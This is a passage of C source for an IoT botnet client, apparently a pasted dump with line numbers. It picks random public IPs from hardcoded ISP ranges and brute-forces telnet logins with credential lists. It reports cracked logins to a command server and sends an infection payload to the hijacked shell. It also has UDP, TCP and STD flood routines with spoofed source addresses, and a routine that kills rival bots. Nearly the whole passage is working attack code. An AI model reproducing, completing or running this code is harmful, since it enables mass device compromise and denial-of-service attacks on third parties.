  1035. szprintf(ip, "77.97.%d.%d", ipState[3], ipState[4]);
  1036. }
  1037. if(randnum == 50)
  1038. {
  1039. szprintf(ip, "77.98.%d.%d", ipState[3], ipState[4]);
  1040. }
  1041. if(randnum == 51)
  1042. {
  1043. szprintf(ip, "77.100.%d.%d", ipState[3], ipState[4]);
  1044. }
  1045. if(randnum == 52)
  1046. {
  1047. szprintf(ip, "77.102.%d.%d", ipState[3], ipState[4]);
  1048. }
  1049. if(randnum ==53)
  1050. {
  1051. szprintf(ip, "113.191.%d.%d", ipState[3], ipState[4]);
  1052. }
  1053. if(randnum == 54)
  1054. {
  1055. szprintf(ip, "81.100.%d.%d", ipState[3], ipState[4]);
  1056. }
  1057. if(randnum == 55)
  1058. {
  1059. szprintf(ip, "113.188.%d.%d", ipState[3], ipState[4]);
  1060. }
  1061. if(randnum == 56)
  1062. {
  1063. szprintf(ip, "113.189.%d.%d", ipState[3], ipState[4]);
  1064. }
  1065. if(randnum == 57)
  1066. {
  1067. szprintf(ip, "94.174.%d.%d", ipState[3], ipState[4]);
  1068. }
  1069. if(randnum == 58)
  1070. {
  1071. szprintf(ip, "14.160.%d.%d", ipState[3], ipState[4]);
  1072. }
  1073. if(randnum == 59)
  1074. {
  1075. szprintf(ip, "14.161.%d.%d", ipState[3], ipState[4]);
  1076. }
  1077. if(randnum == 60)
  1078. {
  1079. szprintf(ip, "14.162.%d.%d", ipState[3], ipState[4]);
  1080. }
  1081. if(randnum == 61)
  1082. {
  1083. szprintf(ip, "14.163.%d.%d", ipState[3], ipState[4]);
  1084. }
  1085. if(randnum == 62)
  1086. {
  1087. szprintf(ip, "14.164.%d.%d", ipState[3], ipState[4]);
  1088. }
  1089. if(randnum == 63)
  1090. {
  1091. szprintf(ip, "14.165.%d.%d", ipState[3], ipState[4]);
  1092. }
  1093. if(randnum == 64)
  1094. {
  1095. szprintf(ip, "14.166.%d.%d", ipState[3], ipState[4]);
  1096. }
  1097. if(randnum == 65)
  1098. {
  1099. szprintf(ip, "14.167.%d.%d", ipState[3], ipState[4]);
  1100. }
  1101. if(randnum == 66)
  1102. {
  1103. szprintf(ip, "14.168.%d.%d", ipState[3], ipState[4]);
  1104. }
  1105. if(randnum == 67)
  1106. {
  1107. szprintf(ip, "14.169.%d.%d", ipState[3], ipState[4]);
  1108. }
  1109. if(randnum == 68)
  1110. {
  1111. szprintf(ip, "14.170.%d.%d", ipState[3], ipState[4]);
  1112. }
  1113. if(randnum == 69)
  1114. {
  1115. szprintf(ip, "14.171.%d.%d", ipState[3], ipState[4]);
  1116. }
  1117. if(randnum == 70)
  1118. {
  1119. szprintf(ip, "14.172.%d.%d", ipState[3], ipState[4]);
  1120. }
  1121. if(randnum == 71)
  1122. {
  1123. szprintf(ip, "14.173.%d.%d", ipState[3], ipState[4]);
  1124. }
  1125. if(randnum == 72)
  1126. {
  1127. szprintf(ip, "14.174.%d.%d", ipState[3], ipState[4]);
  1128. }
  1129. if(randnum == 73)
  1130. {
  1131. szprintf(ip, "14.175.%d.%d", ipState[3], ipState[4]);
  1132. }
  1133. if(randnum == 74)
  1134. {
  1135. szprintf(ip, "14.176.%d.%d", ipState[3], ipState[4]);
  1136. }
  1137. if(randnum == 75)
  1138. {
  1139. szprintf(ip, "14.177.%d.%d", ipState[3], ipState[4]);
  1140. }
  1141. if(randnum == 76)
  1142. {
  1143. szprintf(ip, "14.178.%d.%d", ipState[3], ipState[4]);
  1144. }
  1145. if(randnum == 77)
  1146. {
  1147. szprintf(ip, "14.179.%d.%d", ipState[3], ipState[4]);
  1148. }
  1149. if(randnum == 78)
  1150. {
  1151. szprintf(ip, "14.180.%d.%d", ipState[3], ipState[4]);
  1152. }
  1153. if(randnum == 79)
  1154. {
  1155. szprintf(ip, "14.181.%d.%d", ipState[3], ipState[4]);
  1156. }
  1157. if(randnum == 80)
  1158. {
  1159. szprintf(ip, "14.182.%d.%d", ipState[3], ipState[4]);
  1160. }
  1161. if(randnum == 81)
  1162. {
  1163. szprintf(ip, "14.183.%d.%d", ipState[3], ipState[4]);
  1164. }
  1165. if(randnum == 82)
  1166. {
  1167. szprintf(ip, "14.184.%d.%d", ipState[3], ipState[4]);
  1168. }
  1169. if(randnum == 83)
  1170. {
  1171. szprintf(ip, "14.185.%d.%d", ipState[3], ipState[4]);
  1172. }
  1173. if(randnum == 84)
  1174. {
  1175. szprintf(ip, "14.186.%d.%d", ipState[3], ipState[4]);
  1176. }
  1177. if(randnum == 85)
  1178. {
  1179. szprintf(ip, "14.187.%d.%d", ipState[3], ipState[4]);
  1180. }
  1181. if(randnum == 86)
  1182. {
  1183. szprintf(ip, "14.188.%d.%d", ipState[3], ipState[4]);
  1184. }
  1185. if(randnum == 87)
  1186. {
  1187. szprintf(ip, "14.189.%d.%d", ipState[3], ipState[4]);
  1188. }
  1189. if(randnum == 88)
  1190. {
  1191. szprintf(ip, "14.190.%d.%d", ipState[3], ipState[4]);
  1192. }
  1193. if(randnum == 89)
  1194. {
  1195. szprintf(ip, "14.191.%d.%d", ipState[3], ipState[4]);
  1196. }
  1197. if(randnum == 90)
  1198. {
  1199. szprintf(ip, "45.121.%d.%d", ipState[3], ipState[4]);
  1200. }
  1201. if(randnum == 91)
  1202. {
  1203. szprintf(ip, "45.120.%d.%d", ipState[3], ipState[4]);
  1204. }
  1205. if(randnum == 92)
  1206. {
  1207. szprintf(ip, "45.115.%d.%d", ipState[3], ipState[4]);
  1208. }
  1209. if(randnum == 93)
  1210. {
  1211. szprintf(ip, "43.252.%d.%d", ipState[3], ipState[4]);
  1212. }
  1213. if(randnum == 94)
  1214. {
  1215. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  1216. }
  1217. if(randnum == 95)
  1218. {
  1219. szprintf(ip, "43.240.%d.%d", ipState[3], ipState[4]);
  1220. }
  1221. if(randnum == 96)
  1222. {
  1223. szprintf(ip, "43.245.%d.%d", ipState[3], ipState[4]);
  1224. }
  1225. if(randnum == 97)
  1226. {
  1227. szprintf(ip, "41.174.%d.%d", ipState[3], ipState[4]);
  1228. }
  1229. if(randnum == 98)
  1230. {
  1231. szprintf(ip, "49.118.%d.%d", ipState[3], ipState[4]);
  1232. }
  1233. if(randnum == 99)
  1234. {
  1235. szprintf(ip, "78.188.%d.%d", ipState[3], ipState[4]);
  1236. }
  1237. if(randnum == 100)
  1238. {
  1239. szprintf(ip, "45.127.%d.%d", ipState[3], ipState[4]);
  1240. }
  1241. if(randnum == 101)
  1242. {
  1243. szprintf(ip, "103.30.%d.%d", ipState[3], ipState[4]);
  1244. }
  1245. if(randnum == 102)
  1246. {
  1247. szprintf(ip, "14.33.%d.%d", ipState[3], ipState[4]);
  1248. }
  1249. if(randnum == 103)
  1250. {
  1251. szprintf(ip, "123.16.%d.%d", ipState[3], ipState[4]);
  1252. }
  1253. if(randnum == 104)
  1254. {
  1255. szprintf(ip, "202.44.%d.%d", ipState[3], ipState[4]);
  1256. }
  1257. if(randnum == 105)
  1258. {
  1259. szprintf(ip, "116.93.%d.%d", ipState[3], ipState[4]);
  1260. }
  1261. if(randnum == 106)
  1262. {
  1263. szprintf(ip, "91.83.%d.%d", ipState[3], ipState[4]);
  1264. }
  1265. if(randnum == 107)
  1266. {
  1267. szprintf(ip, "41.253.%d.%d", ipState[3], ipState[4]);
  1268. }
  1269. if(randnum == 108)
  1270. {
  1271. szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
  1272. }
  1273. if(randnum == 109)
  1274. {
  1275. szprintf(ip, "113.190.%d.%d", ipState[3], ipState[4]);
  1276. }
  1277. if(randnum == 110)
  1278. {
  1279. szprintf(ip, "146.88.%d.%d", ipState[3], ipState[4]);
  1280. }
  1281. if(randnum == 111)
  1282. {
  1283. szprintf(ip, "112.196.%d.%d", ipState[3], ipState[4]);
  1284. }
  1285. if(randnum == 112)
  1286. {
  1287. szprintf(ip, "113.178.%d.%d", ipState[3], ipState[4]);
  1288. }
  1289. if(randnum == 113)
  1290. {
  1291. szprintf(ip, "112.45.%d.%d", ipState[3], ipState[4]);
  1292. }
  1293. if(randnum == 114)
  1294. {
  1295. szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
  1296. }
  1297. if(randnum == 115)
  1298. {
  1299. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  1300. }
  1301.  
  1302.  
  1303. return inet_addr(ip);
  1304. }
  1305.  
  1306. in_addr_t NetisRanges()
  1307. {
  1308. int range = rand() % (sizeof(Nranges)/sizeof(char *));
  1309. ipState[0] = Nranges[range];
  1310. ipState[1] = rand() % 255;
  1311. ipState[2] = rand() % 255;
  1312. ipState[3] = rand() % 255;
  1313. char ip[16] = {0};
  1314. szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  1315. return inet_addr(ip);
  1316. }
  1317.  
  1318. in_addr_t GetRandomIP(in_addr_t netmask)
  1319. {
  1320. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  1321. return tmp ^ ( rand_cmwc() & ~netmask);
  1322. }
  1323.  
  1324. unsigned short csum (unsigned short *buf, int count)
  1325. {
  1326. register uint64_t sum = 0;
  1327. while( count > 1 ) { sum += *buf++; count -= 2; }
  1328. if(count > 0) { sum += *(unsigned char *)buf; }
  1329. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  1330. return (uint16_t)(~sum);
  1331. }
  1332.  
  1333. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  1334. {
  1335.  
  1336. struct tcp_pseudo
  1337. {
  1338. unsigned long src_addr;
  1339. unsigned long dst_addr;
  1340. unsigned char zero;
  1341. unsigned char proto;
  1342. unsigned short length;
  1343. } pseudohead;
  1344. unsigned short total_len = iph->tot_len;
  1345. pseudohead.src_addr=iph->saddr;
  1346. pseudohead.dst_addr=iph->daddr;
  1347. pseudohead.zero=0;
  1348. pseudohead.proto=IPPROTO_TCP;
  1349. pseudohead.length=htons(sizeof(struct tcphdr));
  1350. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  1351. unsigned short *tcp = malloc(totaltcp_len);
  1352. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  1353. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  1354. unsigned short output = csum(tcp,totaltcp_len);
  1355. free(tcp);
  1356. return output;
  1357. }
  1358.  
  1359. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  1360. {
  1361. iph->ihl = 5;
  1362. iph->version = 4;
  1363. iph->tos = 0;
  1364. iph->tot_len = sizeof(struct iphdr) + packetSize;
  1365. iph->id = rand_cmwc();
  1366. iph->frag_off = 0;
  1367. iph->ttl = MAXTTL;
  1368. iph->protocol = protocol;
  1369. iph->check = 0;
  1370. iph->saddr = source;
  1371. iph->daddr = dest;
  1372. }
  1373.  
  1374. int sclose(int fd)
  1375. {
  1376. if(3 > fd) return 1;
  1377. close(fd);
  1378. return 0;
  1379. }
  1380. int socket_connect(char *host, in_port_t port) {
  1381. struct hostent *hp;
  1382. struct sockaddr_in addr;
  1383. int on = 1, sock;
  1384. if ((hp = gethostbyname(host)) == NULL) return 0;
  1385. bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  1386. addr.sin_port = htons(port);
  1387. addr.sin_family = AF_INET;
  1388. sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  1389. setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  1390. if (sock == -1) return 0;
  1391. if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1)
  1392. return 0;
  1393. return sock;
  1394. }
  1395.  
  1396. void StartTheLelz(int wait_usec, int maxfds)
  1397. {
  1398. int i, res, num_tmps, j;
  1399. char buf[128], cur_dir;
  1400.  
  1401. int max = maxfds;
  1402. fd_set fdset;
  1403. struct timeval tv;
  1404. socklen_t lon;
  1405. int valopt;
  1406.  
  1407. srand(time(NULL) ^ rand_cmwc());
  1408.  
  1409. char line[256];
  1410. char* buffer;
  1411. struct sockaddr_in dest_addr;
  1412. dest_addr.sin_family = AF_INET;
  1413. dest_addr.sin_port = htons(23);
  1414. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1415.  
  1416. buffer = malloc(BUFFER_SIZE + 1);
  1417. memset(buffer, 0, BUFFER_SIZE + 1);
  1418.  
  1419. struct telstate_t fds[max];
  1420.  
  1421.  
  1422. memset(fds, 0, max * (sizeof(int) + 1));
  1423. for(i = 0; i < max; i++)
  1424. {
  1425. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1426. fds[i].complete = 1;
  1427. fds[i].sockbuf = buffer;
  1428. }
  1429. for(num_tmps = 0; tmpdirs[++num_tmps] != 0; );
  1430.  
  1431.  
  1432.  
  1433. while(1)
  1434. {
  1435. for(i = 0; i < max; i++)
  1436. {
  1437. if(fds[i].totalTimeout == 0)
  1438. {
  1439. fds[i].totalTimeout = time(NULL);
  1440. }
  1441.  
  1442. switch(fds[i].state)
  1443. {
  1444. case 0:
  1445. {
  1446. if(fds[i].complete == 1)
  1447. {
  1448. // clear the current fd
  1449. char *tmp = fds[i].sockbuf;
  1450. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1451. fds[i].sockbuf = tmp;
  1452. // get a new random ip
  1453. fds[i].ip = GetRandomPublicIP();
  1454. }
  1455. else if(fds[i].complete == 0)
  1456. {
  1457. fds[i].passwordInd++;
  1458. fds[i].usernameInd++;
  1459.  
  1460. if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *))
  1461. {
  1462. fds[i].complete = 1;
  1463. continue;
  1464. }
  1465. if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *))
  1466. {
  1467. fds[i].complete = 1;
  1468. continue;
  1469. }
  1470. }
  1471.  
  1472. dest_addr.sin_family = AF_INET;
  1473. dest_addr.sin_port = htons(23);
  1474. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1475. dest_addr.sin_addr.s_addr = fds[i].ip;
  1476.  
  1477. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1478.  
  1479. if(fds[i].fd == -1) continue;
  1480.  
  1481. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1482.  
  1483. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS)
  1484. {
  1485. reset_telstate(&fds[i]);
  1486. }
  1487. else
  1488. {
  1489. advance_state(&fds[i], 1);
  1490. }
  1491. }
  1492. break;
  1493. case 1:
  1494. {
  1495. FD_ZERO(&fdset);
  1496. FD_SET(fds[i].fd, &fdset);
  1497. tv.tv_sec = 0;
  1498. tv.tv_usec = wait_usec;
  1499. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  1500.  
  1501. if(res == 1)
  1502. {
  1503. lon = sizeof(int);
  1504. valopt = 0;
  1505. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1506. //printf("%d\n",valopt);
  1507. if(valopt)
  1508. {
  1509. reset_telstate(&fds[i]);
  1510. }
  1511. else
  1512. {
  1513. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  1514. advance_state(&fds[i], 2);
  1515. }
  1516. continue;
  1517. }
  1518. else if(res == -1)
  1519. {
  1520. reset_telstate(&fds[i]);
  1521. continue;
  1522. }
  1523.  
  1524. if(fds[i].totalTimeout + 5 < time(NULL))
  1525. {
  1526. reset_telstate(&fds[i]);
  1527. }
  1528. }
  1529. break;
  1530.  
  1531. case 2:
  1532. {
  1533. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances))
  1534. {
  1535. if(contains_fail(fds[i].sockbuf))
  1536. {
  1537. advance_state(&fds[i], 0);
  1538. }
  1539. else
  1540. {
  1541. advance_state(&fds[i], 3);
  1542. }
  1543.  
  1544. continue;
  1545. }
  1546.  
  1547. if(fds[i].totalTimeout + 7 < time(NULL))
  1548. {
  1549. reset_telstate(&fds[i]);
  1550. }
  1551. }
  1552. break;
  1553.  
  1554. case 3:
  1555. {
  1556. if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0)
  1557. {
  1558. reset_telstate(&fds[i]);
  1559. continue;
  1560. }
  1561.  
  1562. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  1563. {
  1564. reset_telstate(&fds[i]);
  1565. continue;
  1566. }
  1567.  
  1568. advance_state(&fds[i], 4);
  1569. }
  1570. break;
  1571.  
  1572. case 4:
  1573. {
  1574. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances))
  1575. {
  1576. if(contains_fail(fds[i].sockbuf))
  1577. {
  1578. advance_state(&fds[i], 0);
  1579. }
  1580. else
  1581. {
  1582. advance_state(&fds[i], 5);
  1583. }
  1584. continue;
  1585. }
  1586.  
  1587. if(fds[i].totalTimeout + 3 < time(NULL))
  1588. {
  1589. reset_telstate(&fds[i]);
  1590. }
  1591. }
  1592. break;
  1593.  
  1594. case 5:
  1595. {
  1596. if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0)
  1597. {
  1598. reset_telstate(&fds[i]);
  1599. continue;
  1600. }
  1601.  
  1602. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  1603. {
  1604. reset_telstate(&fds[i]);
  1605. continue;
  1606. }
  1607.  
  1608. advance_state(&fds[i], 6);
  1609. }
  1610. break;
  1611.  
  1612. case 6:
  1613. {
  1614. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances2))
  1615. {
  1616. fds[i].totalTimeout = time(NULL);
  1617.  
  1618. if(contains_fail(fds[i].sockbuf))
  1619. {
  1620. advance_state(&fds[i], 0);
  1621. }
  1622. else if(contains_success(fds[i].sockbuf))
  1623. {
  1624. if(fds[i].complete == 2)
  1625. {
  1626. advance_state(&fds[i], 7);
  1627. }
  1628. else
  1629. {
  1630. sockprintf(mainCommSock, "LOGIN FOUND - %s:%s:%s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1631. advance_state(&fds[i], 7);
  1632. }
  1633. }
  1634. else
  1635. {
  1636. reset_telstate(&fds[i]);
  1637. }
  1638. continue;
  1639. }
  1640.  
  1641.  
  1642. if(fds[i].totalTimeout + 7 < time(NULL))
  1643. {
  1644. reset_telstate(&fds[i]);
  1645. }
  1646. }
  1647. break;
  1648. case 7:
  1649. {
  1650. fds[i].totalTimeout = time(NULL);
  1651. if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) <0);
  1652. if(send(fds[i].fd, "shell\r\n", 7, MSG_NOSIGNAL) < 0);
  1653. if(send(fds[i].fd, infect, strlen(infect), MSG_NOSIGNAL) < 0)
  1654. {
  1655. reset_telstate(&fds[i]);
  1656. continue;
  1657. }
  1658.  
  1659. if(fds[i].totalTimeout + 25 < time(NULL))
  1660. {
  1661. if(fds[i].complete !=3){
  1662. }
  1663. reset_telstate(&fds[i]);
  1664. }
  1665. break;
  1666. }
  1667. }
  1668. }
  1669. }
  1670. }
  1671.  
  1672. void sendSTD(unsigned char *ip, int port, int secs) {
  1673.  
  1674. int iSTD_Sock;
  1675.  
  1676. iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  1677.  
  1678. time_t start = time(NULL);
  1679.  
  1680. struct sockaddr_in sin;
  1681.  
  1682. struct hostent *hp;
  1683.  
  1684. hp = gethostbyname(ip);
  1685.  
  1686. bzero((char*) &sin,sizeof(sin));
  1687. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  1688. sin.sin_family = hp->h_addrtype;
  1689. sin.sin_port = port;
  1690.  
  1691. unsigned int a = 0;
  1692.  
  1693. while(1){
  1694. char *randstrings[] = {"arfgG", "HBiug655", "KJYDFyljf754", "LIKUGilkut769458905", "JHFDSkgfc5747694", "GJjyur67458", "RYSDk747586", "HKJGi5r8675", "KHGK7985i", "yuituiILYF", "GKJDghfcjkgd4", "uygtfgtrevf", "tyeuhygbtfvg", "ewqdcftr", "trbazetghhnbrty", "tbhrwsehbg", "twehgbferhb", "etrbhhgetrb", "edfverthbyrtb", "kmiujmnhnhfgn", "zcdbvgdfsbgfd", "gdfbtsdgb", "ghdugffytsdyt", "tgerthgwtrwry", "yteytietyue", "qsortEQS", "8969876hjkghblk", "std", "dts", "lsk", "kek", "smack", "ily", "tyf", "pos", "cunts"};
  1695. char *STD2_STRING = randstrings[rand() % (sizeof(randstrings) / sizeof(char *))];
  1696. if (a >= 50)
  1697. {
  1698. send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
  1699. connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  1700. if (time(NULL) >= start + secs)
  1701. {
  1702. close(iSTD_Sock);
  1703. _exit(0);
  1704. }
  1705. a = 0;
  1706. }
  1707. a++;
  1708. }
  1709. }
  1710.  
  1711. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval, int sleepcheck, int sleeptime)
  1712. {
  1713. struct sockaddr_in dest_addr;
  1714.  
  1715. dest_addr.sin_family = AF_INET;
  1716. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1717. else dest_addr.sin_port = htons(port);
  1718. if(getHost(target, &dest_addr.sin_addr)) return;
  1719. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1720.  
  1721. register unsigned int pollRegister;
  1722. pollRegister = pollinterval;
  1723.  
  1724. if(spoofit == 32)
  1725. {
  1726. int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  1727. if(!sockfd)
  1728. {
  1729. sockprintf(mainCommSock, "Failed opening raw socket.");
  1730. return;
  1731. }
  1732.  
  1733. unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  1734. if(buf == NULL) return;
  1735. memset(buf, 0, packetsize + 1);
  1736. makeRandomStr(buf, packetsize);
  1737.  
  1738. int end = time(NULL) + timeEnd;
  1739. register unsigned int i = 0;
  1740. register unsigned int ii = 0;
  1741. while(1)
  1742. {
  1743. sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1744.  
  1745. if(i == pollRegister)
  1746. {
  1747. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1748. if(time(NULL) > end) break;
  1749. i = 0;
  1750. continue;
  1751. }
  1752. i++;
  1753. if(ii == sleepcheck)
  1754. {
  1755. usleep(sleeptime*1000);
  1756. ii = 0;
  1757. continue;
  1758. }
  1759. ii++;
  1760. }
  1761. } else {
  1762. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1763. if(!sockfd)
  1764. {
  1765. sockprintf(mainCommSock, "Failed opening raw socket.");
  1766. return;
  1767. }
  1768.  
  1769. int tmp = 1;
  1770. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1771. {
  1772. sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1773. return;
  1774. }
  1775.  
  1776. int counter = 50;
  1777. while(counter--)
  1778. {
  1779. srand(time(NULL) ^ rand_cmwc());
  1780. init_rand(rand());
  1781. }
  1782.  
  1783. in_addr_t netmask;
  1784.  
  1785. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1786. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1787.  
  1788. unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  1789. struct iphdr *iph = (struct iphdr *)packet;
  1790. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  1791.  
  1792. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( GetRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  1793.  
  1794. udph->len = htons(sizeof(struct udphdr) + packetsize);
  1795. udph->source = rand_cmwc();
  1796. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1797. udph->check = 0;
  1798.  
  1799. makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  1800.  
  1801. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1802.  
  1803. int end = time(NULL) + timeEnd;
  1804. register unsigned int i = 0;
  1805. register unsigned int ii = 0;
  1806. while(1)
  1807. {
  1808. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1809.  
  1810. udph->source = rand_cmwc();
  1811. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1812. iph->id = rand_cmwc();
  1813. iph->saddr = htonl( GetRandomIP(netmask) );
  1814. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1815.  
  1816. if(i == pollRegister)
  1817. {
  1818. if(time(NULL) > end) break;
  1819. i = 0;
  1820. continue;
  1821. }
  1822. i++;
  1823.  
  1824. if(ii == sleepcheck)
  1825. {
  1826. usleep(sleeptime*1000);
  1827. ii = 0;
  1828. continue;
  1829. }
  1830. ii++;
  1831. }
  1832. }
  1833. }
  1834.  
  1835. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  1836. {
  1837. register unsigned int pollRegister;
  1838. pollRegister = pollinterval;
  1839.  
  1840. struct sockaddr_in dest_addr;
  1841.  
  1842. dest_addr.sin_family = AF_INET;
  1843. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1844. else dest_addr.sin_port = htons(port);
  1845. if(getHost(target, &dest_addr.sin_addr)) return;
  1846. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1847.  
  1848. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  1849. if(!sockfd)
  1850. {
  1851. sockprintf(mainCommSock, "Failed opening raw socket.");
  1852. return;
  1853. }
  1854.  
  1855. int tmp = 1;
  1856. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1857. {
  1858. sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1859. return;
  1860. }
  1861.  
  1862. in_addr_t netmask;
  1863.  
  1864. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1865. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1866.  
  1867. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  1868. struct iphdr *iph = (struct iphdr *)packet;
  1869. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  1870.  
  1871. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( GetRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  1872.  
  1873. tcph->source = rand_cmwc();
  1874. tcph->seq = rand_cmwc();
  1875. tcph->ack_seq = 0;
  1876. tcph->doff = 5;
  1877.  
  1878. if(!strcmp(flags, "all"))
  1879. {
  1880. tcph->syn = 1;
  1881. tcph->rst = 1;
  1882. tcph->fin = 1;
  1883. tcph->ack = 1;
  1884. tcph->psh = 1;
  1885. } else {
  1886. unsigned char *pch = strtok(flags, ",");
  1887. while(pch)
  1888. {
  1889. if(!strcmp(pch, "syn"))
  1890. {
  1891. tcph->syn = 1;
  1892. } else if(!strcmp(pch, "rst"))
  1893. {
  1894. tcph->rst = 1;
  1895. } else if(!strcmp(pch, "fin"))
  1896. {
  1897. tcph->fin = 1;
  1898. } else if(!strcmp(pch, "ack"))
  1899. {
  1900. tcph->ack = 1;
  1901. } else if(!strcmp(pch, "psh"))
  1902. {
  1903. tcph->psh = 1;
  1904. } else {
  1905. sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
  1906. }
  1907. pch = strtok(NULL, ",");
  1908. }
  1909. }
  1910.  
  1911. tcph->window = rand_cmwc();
  1912. tcph->check = 0;
  1913. tcph->urg_ptr = 0;
  1914. tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1915. tcph->check = tcpcsum(iph, tcph);
  1916.  
  1917. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1918.  
  1919. int end = time(NULL) + timeEnd;
  1920. register unsigned int i = 0;
  1921. while(1)
  1922. {
  1923. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1924.  
  1925. iph->saddr = htonl( GetRandomIP(netmask) );
  1926. iph->id = rand_cmwc();
  1927. tcph->seq = rand_cmwc();
  1928. tcph->source = rand_cmwc();
  1929. tcph->check = 0;
  1930. tcph->check = tcpcsum(iph, tcph);
  1931. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1932.  
  1933. if(i == pollRegister)
  1934. {
  1935. if(time(NULL) > end) break;
  1936. i = 0;
  1937. continue;
  1938. }
  1939. i++;
  1940. }
  1941. }
  1942.  
  1943. void botkiller(){
  1944. int i;
  1945. while(1){
  1946. for(i = 0; i < 9; i++){
  1947. char command[80];
  1948. sprintf(command, "pkill -9 ");
  1949. strcat(command, knownBots[i]);
  1950. system(command);
  1951. sprintf(command, "pkill -9 \"");
  1952. strcat(command, knownBots[i]);
  1953. strcat(command, "\"");
  1954. system(command);
  1955. }
  1956. sleep(5);
  1957. }
  1958. }
  1959.  
  1960. void NetisScanner()
  1961. {
  1962. while(1){
  1963. int netisSocket;
  1964. struct sockaddr_in serverAddr;
